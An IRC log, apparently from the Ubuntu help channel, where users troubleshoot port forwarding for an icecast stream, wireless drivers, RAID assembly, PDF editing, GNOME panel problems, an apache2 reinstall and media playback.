clueless on how to get it to work in ubuntu.. wireless.. clueless, beginner.. etc. [03:56] toresn: easy way -> install firestarter and allow access on port 8000 for anyone or only one ip [03:56] toresn it will be open by default, once a connection has been made it will show up [03:57] drwxr-s--x what is the s permission [03:57] The issue is that I can't leave it plugged in to charge, without it putting the device into a "you can't play from me because I'm being used by the computer" mode. [03:57] dark__ my /storage folder shows 690Gigs of space but after reboot it shows 32gigs. [03:57] dark__: prettty sure he mean incoming oprt to open. not outgoing [03:57] toresn: https://help.ubuntu.com/community/Firestarter [03:57] is it Raising Elephants Is So Uterly Boring or Raising Elephants Is So Very Boring? [03:58] bluefoxx: utterly. [03:58] Actually, the same issue is a bigger deal with a USB hard drive I have -- it doesn't spin down the drive on eject. [03:58] UnsafeData: wireless is a little tricky in linux. You may be lucky and get it to work easily or it might take a lot of work. 1. identify you hardware 2. identify if there is a linux driver for it or that you have to us ndiswrapper (run windows driver in linux) [03:58] dark__, ok, so i don't need to worry about opening this port...? [03:58] anyone gonna help me? [03:58] Pici: ok, thanks [03:58] DanaG: and when you're using it on windows, was there some software that came with it that you installed? Something that provides more than data transfer? [03:58] DanaG: ipod with rockbox had same, i just had to hold menu button whilst botting ipod to prevent diskmode [03:58] drwxr-s--x anyone tell me what the s option is ? [03:58] dark__ I then reassemble the raid and mount it again and it works. hmmmm [03:58] toresn.. probably not, usless youre looking to forward that port from a router to a specific machine [03:58] Noogen: Okay then how do i use ndiswrapper? [03:58] UnsafeData: to identify your hardware, open a console/terminal and type: lspci [03:58] fit4lfe: suid? [03:59] Whatisinaname hum.... [03:59] dark__, well, i'm setting up icecast (with mpd) so that i can access to my music wherever i am [03:59] It looks like my raid dosn't stay assembled. [03:59] Whatisinaname raid aint something i really know about im afRAID [03:59] toresn yes [03:59] lol thats a good one [03:59] dark__, so i need access to my_ip:8000 [03:59] toresn: which means you will need to allow *incoming* access on the port you desire [03:59] i'll get help on wireless later i'll be back soon [03:59] Any idea where Gnome Phone manager keeps the pin? [03:59] toresn ok [03:59] zenobius, yes [03:59] toresn shall i try it for you? [04:00] fit4lfe, http://linux.about.com/cs/linux101/g/suidlparsetuser.htm [04:00] dark__, yes, please [04:00] toresn: and the easiest way to do that is using firestarter [04:00] Ok thanks dark__ off to google some stuff about mdadm conf file thanks for hte help... === Whatsinaname is now known as Whats|Away [04:00] !away > Whats|Away (Please see the private messsage from ubotu) [04:00] toresn: unless you feel like dealing with iptable syntax [04:01] Oh, I can use my device fine without any special software. The only software it came with was a media player app and a syncing thingy for people who like to use such apps. The latter app also lets you edit FM Radio tuner presets. [04:01] toresn: http://www.ubuntugeek.com/firestarter-firewall-for-your-ubuntu-desktop.html [04:02] toresn oky so that isnt working [04:02] !firewall [04:02] Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE). [04:02] DanaG: maybe it needs firmware update, or maybe its the kind of device that has firmware that works in tandem with windows api? [04:02] Aaaaah: [04:02] great how can un set suid on the desktop dir [04:02] USB selective suspend/resume and wakeup (EXPERIMENTAL) (USB_SUSPEND) [04:02] If you say Y here, you can use driver calls or the sysfs "power/state" file to suspend or resume individual USB peripherals. [04:02] DanaG: typical only "worksForSure" on our system type monopoly === Whats|Away is now known as Whatsinaname [04:03] That's the issue: the Ubuntu kernel lacks that feature. [04:03] DanaG: waht i said [04:03] toresn it should work fine, however if youre using a router, you will need to configure that port to be forwarded on it [04:03] how do you get the Deskbar interface from ubuntu feisty back? i dont like this windowed business === Whatsinaname is now known as Whats|Away [04:03] Hi!... Just did a fresh install of Gutsy and I'm having issues with editing ID3 tags in Rhythmbox as well as xmms. Anyone else having this issue? [04:03] dark__, ok, hold on... [04:03] hey help i have a machine with win xp then i go to install ubuntu, i click install with i reach the partition part, i put to take 15gb of free space, i got error so i click to do it manually and says 80gb doswin or something like that, i edit to put it 5gb of free space and install / as reiserf then, it appears the entire disk 80gb like / reiserf, i didn't format it, i restart the pc and it says error loading operating system, my winxp did [04:03] n't load,what can i do??? sorry for my english [04:04] marshall, me neither but I'm afraid it's a choice not left to us [04:04] marshall: tried right anything yet? like right clikc on it for preferences? [04:04] ok I have a lexmark printer can I make it work on ubuntu [04:04] marshall: ahh your in the cursed gutsy land [04:04] Ausmosis, ive always used easytag for that [04:04] cursed? [04:04] https://bugs.launchpad.net/ubuntu/+bug/150783 [04:04] gutsy = too many new users and too many bugs [04:05] <[hC]> So Ive just tried using the 7.10 live cd, vga out is perfectly fine, but using the RCA TV out on my ATI card produces just a white screen. any ideas? [04:05] lusepuster: lol it stinks [04:05] hunchybunch, thank's for that. I take it there are issues then? [04:05] zenobius: yeah, i know [04:05] feisty is much more stable [04:05] marshall: if you want stable and reliable go back to feisty [04:05] zenobius: but i like flashy and cutting edge [04:05] marshall: its where i am at for my bigdekstop [04:06] Ausmosis, i am not sure since i have only used easy tag [04:06] marshall, I've heard rumours that the old interface might get back in later versions as an option but not sure. [04:06] marshall: falshy? i have compiz on both screens (as one cube) [04:06] Anyone know any guides to change the GDM spash screen? I can't seem to find any good ones. [04:06] lusepuster: it better, this interface makes me hate life [04:06] marshall: gah my gesticular dyslexia is cutting in [04:06] dark__, just to be sure, i need to forward port 8000 from my outside ip to my inside ip (10.0.0.2) ? [04:06] hunchybunch, OK. Thanks. I'll give it a shot and see if easytag can resolve my issue. [04:06] zenobius: what is gesticular dyslexia? [04:06] Oh yeah, are there any PDF editing apps? [04:06] Hey - does anyone have a good tutorial on how to setup a QoS for SSH? [04:07] toresn yes .. so you are using a router? [04:07] steve2938: gestures and dyslexia [04:07] (random note: I just use the old Deskbar.) [04:07] woops mistell [04:07] dark__, i am using a router, yes [04:07] neeto, did you get it going? [04:07] marshall, okay seems like it's reeeeeeeally bugs you :-) [04:07] how do you shut off sound in startup? [04:07] lusepuster: lol [04:07] toresn .. ahh oky.. yes ports on there need to be forwarded to work properly [04:07] DanaG, pdfedit [04:07] heatmzzr: sorta, I am running compiz, and I thin there might be a conflict [04:07] zenobius: whats bigscreen? [04:07] marshall: its about how fingers... dont press right keys in right order [04:07] hey help i have a machine with win xp then i go to install ubuntu, i click install with i reach the partition part, i put to take 15gb of free space, i got error so i click to do it manually and says 80gb doswin or something like that, i edit to put it 5gb of free space and install / as reiserf then, it appears the entire disk 80gb like / reiserf, i didn't format it, i restart the pc and it says error loading operating system, my winxp did [04:07] n't load, what can i do?? [04:07] DanaG, don't remember if it's in the repos though [04:08] toresn so is like saying to the router.. all connections on this port go to this machine, no questions asked kinda thing [04:08] Ok, something big and bad just happened to my GNOME interface. I had an error saying Nautilus is no longer working properly due to Bonoo(sp?). The only thing I changed was my GDM login screen. My problem is this: Items on the gnome desktop are no longer functioning correctly or loading very slowly. ie; When I click the shutdown button, it takes 15 seconds for the window to appear. It's easy for me to just sudo reboot than wait for the [04:08] window to pop up. I no longer have 4 separate virtual desktops on my panel, even after I modify it to show 2 4 8, etc. So I am thinking something in my GNOME panel got screwed up by the GDM login screen possibly? Any ideas? [04:08] zenobius: theres a medical condition that causes typos? [04:08] steve2938,system/administration/login window [04:08] DanaG: that bug is about pulling kernel modules out of the kernel and thereby shutting down devices [04:08] i have a soundcard getting input, and 5.1 speakers that are outputting 5.1 sound from rhythmbox, but it is only doing 2 speakers from the input, is there a way to mix the input the same way that sound is through the programs? [04:08] no there isnt i am running it also, in the left where you select backgrounds, just select one for each desktop to begin with [04:08] marshall: one desktop spread across two monitors. [04:08] Smilevil, did it look like there was only one partition when you were done? [04:08] But even doing that doesn't shut down the device. [04:08] zenobius: mmm [04:08] And even though CONFIG_USB_SUSPEND is enabled, the /power/state files are missing. [04:08] zenobius: ill probably do that with my desktop [04:09] Im using four different backgrounds on four different desktops right now, works grea [04:09] zenobius: it seems rather sexy [04:09] zenobius: its got a crt though, that could be a little lame [04:09] (oh yeah, I'm on Hardy now, but I even had that issue in Gutsy. Well, at least I've satisfied my curiosity. Oh, and the pdf question was my original question, but then I got distracted.... silly me.) [04:09] zenobius: i was thinking i would buy 2 flat-screens for like 200-300 each [04:09] Whatisinaname check this thread out http://ubuntuforums.org/archive/index.php/t-59960.html the bottom post might help you somewhat [04:09] marshall: fesity has more luck with it, gutsy will use ranr and interfere with your nice xorg [04:09] keep farting with it neeto, it does work. just takes a sec to figure out [04:09] dark__, ok, try now (toresn.dyndns.org:8000) [04:10] zenobius: hmm [04:10] DanaG: ah, pdf. What was the question :) [04:10] DanaG, did you see my reply about PDFEdit? [04:10] toresn yes that seems to be working :) [04:10] Yeah. [04:11] Cool, just couldn't tell [04:11] toresn .. icecast2? [04:11] I'm also curious: how do you use a device in MTP mode? [04:11] dark__, you got an icecast status page? [04:11] dark__, yes :-) [04:11] DanaG: pdfedit is in the repos, but it sucks last time I used it [04:11] well can some 1 tell me how to get Splash Thing working in Wubi 7.10.... [04:11] heatmzzr: I will [04:11] toresn yup that what i got [04:11] DanaG: ooo OLED display. nice [04:11] Anyone have any idea why I have no title bars on any of my windows anymore? [04:11] dark__, i'm gonna try streaming, hold on... [04:12] DanaG: can it read and display iCal/vCards? [04:12] nickrud, DanaG yep it's not the best app around but it does the job and I don't know of others, if you don't wanna use Gimp for it and that is sure an ugly solution [04:12] dark__, try downloading the stream (must have a player that can play ogg) [04:12] sp0ro: your window decorator/manager crashed, are you using compiz [04:12] what is the ftp command (shell) to download an entire directory? Recursively? [04:12] ?? [04:12] toresn .. yes thats working .. some country and western from the sound of it [04:12] lusepuster: convert it to ps and edit the ps, then pstopdf . Suck too [04:12] dark__, yes, bluegrass :-) [04:12] tyler: man ftp not giving you info you need? [04:12] tyler: 'man ftp' [04:12] lusepuster, it's a 80gb disc, it has winxp, manually i take 5gb to install / reiserf but it give me a error that i dont remember and took the entire disk, now says / reiserf 80gb and before says ntfs /dos (or somethiing) 80gb, i just restart and give me that error, now ubuntu cd live i watch the disc and doesn't have info, just 32mb used Damd [04:12] nickrud, what would you use for editing a ps? [04:12] I have bcm43xx on HP zv5000 and trying to install wireless on ubuntu 7.10. installed it using wubi. i dunno how to setup wireless for ubuntu and i can't download any drivers on it by connecting an ethernet cable (dont got one that i can use and dont' recommend one) [04:13] lusepuster: emacs or vi [04:13] toresn cool :) .. so thats sorted then, yeh.. you just have to remember that for anyone on the internet to get to a service on your computer you need to forward the ports of the router [04:13] Nope, my device is a simple media player that also does video. Oh, and using a calendar on it would be painful, probably. [04:13] nickrud: I am using default GNOME at the moment. Like I said earlier, the only thing I changed was the GDM login screen. Now everything related to the GNOME interface is bugged. [04:13] dark__, yes, thank you very much [04:13] And it actually gets washed out when in sunlight, yet is too bright at minimum when in a dark room at night. [04:13] nickrud, yeah well that would be, like, absolutely an expert's solution... [04:13] DanaG: not using as in editing, jsut a display so you can remind yourself in the day time. sync it when you get home [04:14] toresn no prob.. all good fun :) im gonna check out that icecast thingy [04:14] lusepuster: I was desperate once. [04:14] DanaG: oo, ok not good [04:14] I have bcm43xx on HP zv5000 and trying to install wireless on ubuntu 7.10. installed it using wubi. i dunno how to setup wireless for ubuntu and i can't download any drivers on it by connecting an ethernet cable (dont got one that i can use and dont' recommend one) [04:14] dark__, yup, works great together with mpd [04:14] lusepuster: luckily it was pretty simple stuff, only took me a couple days [04:14] Here's my opinion of pdfedit so far: scrollFREEEEZE zooomFREEEZE drag page divider: FREEZE. [04:14] Can some 1 tell me how to get Splash working [04:14] lusepuster, i run cd of winxp and i run active partition recover and it finds a ntfs the one i lost but still same error and it says about invalid #0 or sector #0 [04:14] Well, I just want to block out a few things using these characters: ████ [04:14] (The block IS the character I'll use.) [04:15] toresn cool.. i just got used to my ktorrent web interface.. ive just been using ssh and stuff before [04:15] DanaG: convert to ps, replace the text with the block, convert back to pdf. That one is simple [04:15] Darkmystere, did you install in text mode by chance? [04:15] toresn well sweet we both learn something today! yey [04:16] dark__, :) [04:16] if peoples used 'em' instead of 'px' in their webpages, pdfs wouldnt be needed [04:16] if browsers all treated em's the same ... [04:16] lusepuster, hello [04:16] Darkmystere, why dont you apt-cache search usplash and install one?? [04:16] what is the command to resize the partition using fdisk ? ...... I am using the live CD [04:16] pdf is for binary documents, that cant be edited...ok so wahts pdfedit then? ok so pdfs are good for preserving formatting layout....is that all? [04:16] hunchybunch: Nope its a Graphical Installl [04:16] I wonder... I've used pdf2ps and vice versa to de-DRM a pdf (for the sake of accessibility) in Linux; are there Windows versions of those tools? (don't need an answer, since this is not the channel for that.) [04:17] UnsafeData: https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx/Gutsy [04:17] is there a way to get a program to autostart when i boot up. [04:17] hunchybunch: i already have Usplash theme ready to be used and i have startupmanager... so im kinda lost [04:17] DanaG: yeah there are psuedo printers [04:17] sp0ro1: sorry, got sidetracked. for the borders, alt-f2 metacity --replace should put them back [04:18] nickrud: Alright, I'll try that once the linux box reboots. :) [04:18] hunchybunch: And im pretty sure...That Usplash is Installed.. [04:18] heatmzzr, yes - system/preferences/sessions and add your program to it [04:18] heatmzzr, add the program that u want to start up at boot to the system > preference >sessions [04:18] B-rabbit, Cheers, I was wondering that too :D [04:18] Darkmystere, is your theme installed? [04:18] what is the command to resize the partition using fdisk ? ...... I am using the live CD [04:19] hunchybunch: Yep The Default 1 doesnt even work.. [04:19] would be good to make a nautilus script that makes use of the window size enviroment variable to make "tile windows horinzontally" or "tile windows vertically" like in kde [04:19] DanaG: an answer anyway: most pdf/ps manipulations are done with ghostscript, which is available in windows [04:19] * B-rabbit winks at Slyboots [04:19] Hunchybunch: it just flicks my proccessing light on and off really fast until it reaches my Login Screen [04:19] Anyone know of a repo or .deb file for zenmap? I've googled but couldn't find anything. [04:19] Has jedits font rendering improved any lately? [04:20] What's the difference between 'pdf2ps' and 'pdftops'? [04:20] * nickrud assigns zenobius a new project [04:20] Darkmystere, must be something with your video card and vesa mode possibly [04:20] Well, the point was to keep the text, for running through a text-to-speech app. === aRyn_ is now known as aRy [04:20] I have proble cnr client won't install I get error dependency libqt4-core not satisfiable help I wnt cnr [04:20] hunchtbunch: i Use ATI Card... And elaborate about vesa mode.. [04:21] Darkmystere, even when you boot up using the cd? [04:21] hunchybunch: well it works in livecd and it worked when i first was starting the install with Wubi [04:21] so help me with cnr for fiesty plz [04:21] exneo: have you tried "sudo apt-get install libqt4-core" [04:22] yes and then it still gave me the same error === aRy is now known as aRyn [04:22] so I uninstalled it and tried again and it failed again === u^A is now known as u^A_ [04:22] Anyone know of a good bit.torrent client that is terminal based and supports DHT? [04:22] Apparently the difference is that pdftops works and pdf2ps doesn't, at least for my input file. [04:22] exneo: try removing the package and install libqt4-dev [04:23] DanaG: pdf2ps is a shell script using ghostscript, pdftops uses poppler as it's backend [04:23] azerous is a good bit torrent client [04:23] And....He/she goes Silent... [04:23] Darkmystere, i use an old ati card also and have not had that issue, other than screwing it up by installing stuff, and even at that i was able to get it back. [04:23] How do I edit the ps file now? [04:23] how do i replace nautilus with thunar as my default file opener in gutsy? [04:23] DanaG: ps is just a text file [04:24] nickrud: alt+f2 is not bringing up the run window. :( [04:24] Hunchybunch: i can get the splash loading screen on Livecd and when installing ubuntu [04:24] nickrud: Checked if gnome-panel was not running, but it is. [04:24] exneo, i use "bittorrents" ....i haven't used azerous [04:24] In case there others out there that are experiencing problems with skype updating the messages you type in, whilst you have effects on: Download the beta version of skype and use that instead. It seems to have ironed out my problems. Hope it works for you. [04:24] sp0ro: you don't see anything on your screen except the background I bet [04:25] I installed the gutsy deb on my fiesty box thanx to wubi [04:25] JerseyMonkey use ktorrent .. azureus is all java and a resource hog... you can also use utorrent through wine which works great [04:25] marshall, gnome uses nautilus for many things, i don't think you really want to! [04:25] I don't see any of the text that's in the original pdf. [04:25] nickrud: I can see this xchat and the panels fine, nothing works on the panels except the top panel though. :P [04:25] nickrud: Even then, the functions on the top panel are running extremely slow or not at all [04:25] sp0ro: bad bet then. try killall gnome-panel [04:25] nickrud: kk [04:26] hunchybunch: i mean just for when i want to open a folder, i like thunar a lot more for regular file operations and browsing [04:26] dark__, I am using this on a server with no GUI. Is ktorrent terminal based? [04:26] Darkmystere, yea that is weird, for some reason grub isn't able to load it it sounds like [04:26] hello [04:26] JerseyMonkey: rtorrent is [04:26] I got ethernet working, now for WiFi [04:26] JerseyMonkey no its got all the bells and whistles you need [04:26] I can play my avi movies with ubuntu can anybody help? [04:27] bazhang, Going to give that a try, thankyou. Do you by chance know if that supports DHT? [04:27] I CANT play my avi movies with ubuntu can anybody help? [04:27] ubotu wifi [04:27] Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs [04:27] Last question, how do I mount my md0 as a drive, not a folder? [04:27] hey whats the best app to make a graphical ftp server for my fiesty box so my friends can download my files [04:27] JerseyMonkey so its not what you want i guess [04:27] Wow, pdfedit DOES suck. [04:27] Horribly. [04:27] It can't even comprehend this character: █ [04:27] hdxSfBr: you need to install ubuntu-restricted-extras [04:27] DanaG, what are you trying to do with PDF's? [04:27] dark__, Thanx for recommendation, but the server cain't display GUI, so I wouldn't be able to use it. Thankyou though. [04:27] nickrud: Hm, even killall gnome-panel isn't making the panels go away heh. It acts like it's closing them, then they reappear. :| [04:28] marshall, but nautilus is the file browser for gnome, and is tied into the system pretty tight, you can use it - but [04:28] kmandla.wordpress.com has a rtorrent knowledgebase JerseyMonkey :} [04:28] Change a bit of text -- I'm using a letter from Charter as an example of something for a class, but I want to cover up the account number and such with that box. [04:28] JerseyMonkey thats oky.. there are a few terminal clients i can recommend one in just a second [04:28] sp0ro: they should return, that's a good sign actually. In system->prefs->sessions, second tab, you can see the gnome aware apps that are running. If you selected gnome-panel there, you'd see that it was categorized as restart (dropdown just below the text window) [04:29] dont u just love the ubuntu philosophy [04:29] hunchybunch: i know, it controls file selection, the desktop and decides who will become president of the United States [04:29] and xchat [04:29] hunchybunch: but it sucks so much :'o [04:29] Darkmystere, you didn't bork grub or set permissions to initrd whereas it couldn't update it did you ? [04:29] Dark__ I got my array to stick, I had to sudo dpkg-reconfigure mdadm and recreat my array. works now. [04:30] anyone here used xbindkeys, know if it keeps a log somewhere.. it appears to have just stopped.. working [04:30] I guess I can just draw a rectangle. [04:30] But pdfedit repeatedly keeps repeatedly freezing, repeatedly. [04:30] http://www.dvs01.net/pics/dvs-lan.jpg [04:30] =] [04:30] (yes, I did that on purpose.) [04:30] Dark__ now if I could only mount it as a drive instead of a folder, but that is totally irrelevent. YEA! my Raid works! Thanks again! [04:30] Whats|Away great! [04:30] bazhang, reading guide off kamandla now. Thanx. Saw on official site it has DHT. [04:30] nickrud: Still no metacity and alt+f2 isn't allowing me to open the run window still. [04:31] DVS01: not the right place for that [04:31] Whats|Away you gotta remember all drives are folders in linux. everything is a folder or a file [04:31] sp0ro: try this test. log out, ctl-alt-f1 , hit enter, and log in. do ps -A . If you see any gnome apps, killall them. also killall gconfd-2 , and bonobo-activation if you see them. Then ctl-alt-f7 and log back in. [04:31] nickrud: I mean, I can run metacity from the terminal and it works, but there is an underlying problem somewhere. :x [04:31] I CANT play my avi movies with ubuntu can anybody help? [04:31] so any ms horror stories worthy of irc [04:31] hdxSfBr: install ubuntu-restricted-extras [04:31] sure thing hdxSfBr what do U want [04:31] hdxSfBr, didi you install ubuntu-restricted-extras? [04:31] JerseyMonkey rtorrent is probably the best one in your circumstances [04:32] their are dvd apps illeagal movie downloads anything [04:32] sp0ro1: try those steps I gave you, I've had that happen occasionally. Those apps (except gconfd-2, which takes sudo to kill) should not be there when you log out [04:32] hdxSfBr, what media player are you using? [04:32] marshall, i know :P - have you tried geubuntu or xubuntu? they use it by default - or you can use it in ubuntu i guess - ot just wont be the default i am afraid. [04:32] dvd:.rip [04:32] nickrud: On it right now, thanks. :) [04:32] hdxSfBr: please stop repeating your question; the solution has been given [04:32] any idea how to increase screen brightness? I had to boot acpi=off initially and it's remained dim [04:32] Ok. Let me say this: 1 week into my linux experience and you may call me a convert [04:32] hunchybunch: hmm, no i havent tried those [04:32] DanaG : would be sweet if openoffice exported to document that is like pdf but used svg instead [04:32] I tried opening the power manager, but that did not work [04:32] I am officially swearing off windows for any reason other than the occasional game. [04:32] hunchybunch: i guess im kinda scared [04:33] so is their a good publishing program that makes pdfs for linux [04:33] danloz: i only use windows for WoW. (win2k) at that [04:33] I have a problem [04:33] yes i installed the restricted package... [04:33] wine worw [04:33] wine wow [04:33] How would I install apache2 again and have it install all the files nec. for /etc/apache2? [04:33] exneo openoffice makes pdf files [04:33] hello [04:33] sry(forgot) [04:33] exneo: its called openoffice [04:33] zenobius: That's the only good reason to do it. This laptop is a dual boot. I logged into vista for the first time in a week - and holy crap is it slow. [04:33] sudo apt-get install apache2 [04:33] exneo: you mean for printing? [04:33] yea, geubuntu is kinda broke and it is using pieces of gnome and xfce4 and e17 - and i don't think xubuntu works as well as ubuntu [04:34] exneo: openoffice makes pdfs, and you can install cups-pdf to create pdf's from any document you can print [04:34] exneo: you want desktop publishing? [04:34] danloz: would you believe iget better ping with win2k than winxp? [04:34] no for making stuff like fullcircle and school asignments [04:34] exneo: I stand corrected, cups-pdf is now standard [04:34] Aargh, pdfedit is reeeeally annoying. [04:34] danloz: and linux kills them both [04:34] sweeeeeet [04:34] DanaG: I warned you [04:34] thanx [04:34] exneo, I rm -rf'ed /etc/apache2 and now reinstalling apache 2 wont put files there [04:35] Zenobius: Absolutely. It was my top secret trick for Aces high for years. You can also slim it down lower. Best for another channel though. [04:35] nickrud: Ugh, now I can't even type anything in tty1. Everything is slowing down. Let me double check and make sure there isn't something wrong with the cpu temps or the power supply real quick. [04:35] danloz: mac and linux give better netowrk performance tha windows [04:35] anyone use xdvdshrink, i'm having trouble with it reading my dvd-r drive, when I look at the props of a dvd inserted, it says its using /dev/cdrom0 but I set that for xdvdshrink and its not talking to the dvd drive [04:35] !who | hdxSfBr [04:35] hdxSfBr: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :) [04:35] exneo: not sure what fullcircle is but inkscape, scribus, openoffice or load up the pdf writer that will print a pdf file from anything. [04:35] then im srry I've used ubuntu almost exclusivly for a week so i dont know everything post somthing on the forum [04:35] aye back on topic... [04:35] http://ubuntuforums.org [04:35] dark__ once again thankyou. I will get the hang of this. I now have 2 750 gig drives in raid 1 on this server. SAMBA here I Come! [04:35] By the way: Can anybody recommend a good irc client? Xirc and IRCLost aren't really my style [04:35] sayers: that was a big mistake, more than apache puts files there .... [04:35] hdxSfBr: please no pm; especially without asking === Whats|Away is now known as Whatsinaname [04:36] danloz: xchat, irssi [04:36] nickrud, Yes I see it was a mistake [04:36] danloz: im using gaim right now [04:36] nickrud: CPU temp seems to be fine, running at 35c. I have no idea what I did with my tools to check the powersupply though. :x [04:36] hello, I got an error in my terminal related to nautilus [04:36] danloz also opera has a nice chat client as well as FF [04:36] hunchybunch: i dont understand why people keep saying E17 is beautiful [04:36] Whats|Away w00t w00t :) all the best! [04:36] danloz: yeah opera is very nice [04:36] hi all, what is the best way to install lamp on ubuntu desktop 7.10? [04:36] hdxSfBr: please no PM; do it in the channel. [04:36] so if I go to a channel in a different language will xchat translate it [04:36] sayers: to start, do dpkg -l '*apache*' | grep ^ii , that will find all the apache packages you have installed. Then do sudo aptitude purge === jlulian38_ is now known as jlulian38 [04:36] is there a generic synaptic package for that? [04:36] firefox 3 is betr [04:36] Zenobius: GAIM/PIDGIN both have irc capability. Gotcha, I'll do that next. This is a blast. [04:36] * dark__ is fading fast and needs some zzzzz's [04:37] anyone know how to identify reader device and writer device for xdvdshrink? [04:37] sayers: the way apt/dpkg works is, if it sees you manually removed files from etc it assumes you did it for a reason and won't put them back [04:37] exneo: your running ff3? wahts the load time. do all tabs freeze when loading new tab contnet? [04:37] nickrud, and how would I have it put them back [04:37] I just ran gdedinstaller but libqt4-dev didn't help what now? [04:37] for my cnr install === Generic is now known as Ashex [04:38] I have installed the restricted extras and VLC and I can't play my avi movies...tried mplayer as well... any help?? [04:38] marshall, me either, i guess cus it's new, at least for a while - but it gets as boring as any of them after a while. [04:38] try mythtv [04:38] Ranbir: I would just do VMWARE with "Grandma's Lamp". It's no fuss. Good if you're developing something. I wouldn't use it live/production though [04:38] ooo noes the mythtv [04:38] I still need help [04:38] sayers: do those first two commands I gave you, then you would reinstall apache again. By purging you tell apt to remove the /etc files itself, so on the next install it will put them back [04:38] danloz I want to but it on ubuntu though, vmware is too much overhead [04:38] k try kmplayer or totem [04:38] How can it take 30 seconds to draw a rectangle? [04:38] sup jescis [04:39] gstreamer codes [04:39] is there an extra repo I need to add to install xfce, I'm installed using a minimal CD. [04:39] hello, I got an error in my terminal related to nautilus [04:39] anyone know of a good program from restoring pics on a memory card [04:39] hunchybunch: marshall :they are referring to its desktop effects, its a bit better than xfce running xcompmngr [04:39] so any help putting cnr on my fiesty box [04:39] jescis .. yes? [04:39] exneo: try linspire [04:39] zenobius: lol but compizfusion is the shiz [04:39] Coffeegrindah: sudo apt-get install xfce [04:39] sayers: you probably will have errors with the purge, put them on the pastebin. I have 20 minutes [04:39] ** (nautilus:7097): WARNING **: No description found for mime type "x-special/device-block" (file is "hda1"), please tell the gnome-vfs mailing list. [04:39] night all. Thanks again for hte help Dark__ [04:39] www.cnr.com has forums exneo [04:39] that's bad [04:39] And I agree with needin ZZZZZZZZZzzzzzzzzzzzzz [04:39] marshall: you know i know. expo all the way baby [04:39] rly bad [04:40] whatsinaname night dood [04:40] zenobius: why would anybody refer to anything else as beautiful in the presence of compizfusion [04:40] Scnunizi:: "Couldn't find pakgage xfce" [04:40] jescis [04:40] Ok so I actually do have a question. I borked the crap out of an NDIS wrapper install. [04:40] marshall: personal taste [04:40] marshall: i just want racer.nl to be my screenscape for when i cube it [04:40] Ok I'm telling a lie. I actually borked multiple ndis wrapper installs. [04:40] ti means that it is trying to access a critical part of the drive with the intention to write [04:40] SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSyes [04:40] jescis do you have any RAID or usb hard drives? [04:40] Is there a n00b friendly way remove all those installs? [04:40] zenobius: what do you do with expo? [04:40] nickrud, no error [04:41] Oh, and it eats CPU while drawing it. [04:41] not pluged in [04:41] marshall: expose for workspaces [04:41] sayers: good. what packages did you remove? [04:41] jescis does this error affect your using of nautilus [04:41] nickrud, purge libapache2-mod-php5 apache2.2-common apache2-utils apache2-mpm-prefork [04:41] zenobius: and how do you change the number of desktops you have? i would like to use the cube thing but i dont know how to change the number of workspaces i have [04:41] sayers: outstanding. Did you install php? [04:41] I just got it [04:41] marshall: you have compizconfig-settings-manager? [04:42] nickrud, I installed LAMP when installing ubuntu-server so more than likely [04:42] any ideas why I can't find the xfce package in apt? [04:42] jescis oky, so nautilus doesnt run at all now? [04:42] sayers you did, a sec [04:42] Coffeegrindah: becuase.... its acalled xfce4 [04:42] Coffeegrindah: you likd'a sauce? [04:42] zenobius,, that would be a good reason [04:42] zenobius, yea - it does have some nice effects to the menu and even the moving graphics on the wallpaper - a very artistic desktop shell - i cant wait till it comes together a bit more. [04:42] Oh, and the rectangles didn't even DO anything! [04:42] it is running [04:42] Coffeegrindah: try sudo apt-get install xubuntu-desktop [04:43] I have the ATI Restricted drivers installed (I believe those are the flgrx drivers, no?) and I try and run compiz and it just kinda craps out on me...it says I have no glx or something. [04:43] I'm doing a minimal install, I don't need all the extra goodies [04:43] hunchybunch: with mac4lin its a jab in the ribs for my mac fanboi friends [04:43] hunchybunch: sorry, which software are you talking about? [04:43] Correction: there's a "save copy" that copies the original, but there's no "save as". [04:43] jescis i would say then that the error is due to nautilus trying to find a device that was previously connected that isn't there anymore and theres not alot to worry about [04:43] sayers: purge libapache2-mod-php5 . It may say it wants to remove some other packages, let it do it but make a note of them [04:43] Coffeegrindah: search synaptic or aptitude for xfce or xfce4 or xubuntu minimal [04:43] can someone tell me what command to pass to mount my audio cd? sudo mount -i iso9660 /dev/cdrom /media/cdrom doesn't work, although I can play the cd with vlc [04:44] we were talking about e17 [04:44] nickrud: Hm I can no longer use the shutdown button to logout of the gnome session. Is there a terminal command to logoff x-server? or will alt+ctrl+backspace do the same thing essentially? [04:44] nickrud, nope that isn't even an installed package [04:44] ah, ok [04:44] oops, that's -t, not -i [04:44] hunchybunch, sweet [04:44] sp0ro1: yes, clt-alt-backspace does the same Be sure to save stuff first :) [04:44] hunchybunch: im attracted to its animated wallpapers [04:44] it should be mountable with that command [04:44] nickrud: hehe [04:44] Scunizi, xfce4 is currently bing installed, (doesn't help that all online docs keep refering to the xfce meta package [04:44] I did use gparted, and unmount a drive in it [04:45] hunchybunch: like a mosquito to a zapper [04:45] zenobius: yeah, ccsm right? [04:45] I have installed the restricted extras and VLC and I can't play my avi movies...tried mplayer kmplayer and totem, I get the sound but the videos all I get is some colorfull vertical lines....HELP? [04:45] sayers: then you installed php differently I guess. time to install apache2 sudo aptitude install apache2 [04:45] how do i restart artsd [04:45] hdxSfBr: try gxine.. it worked the best for me [04:45] marshall: yeah. one sec ill turn on my bling [04:45] Coffeegrindah: yea i know.. docs leave a lot to be desired.. [04:45] zenobius, ive noticed some of them can really suck on the cpu though - depending on the wallpaper [04:45] jescis well that could have had some effect, to be honest im not sure but really if nautilus is working fine and its just that message in the console youre worried about i would ignore it [04:45] Hello everyone :) [04:46] nickrud, that /appears/ to have worked :) [04:46] sayers: /appears/ is a good qualifier till you check [04:46] ok done thanks [04:46] This is a ridiculous question, but I can't figure out what end of my mail setup needs troubleshooting. I can login as a virtual user (postfix/mysql) no problem, but the chdir fails because the directory for that virtual user doesn't exist. I know it has to receive an email first to create the directory, but I've sent one and it hasn't done a damn thing. So, what handles 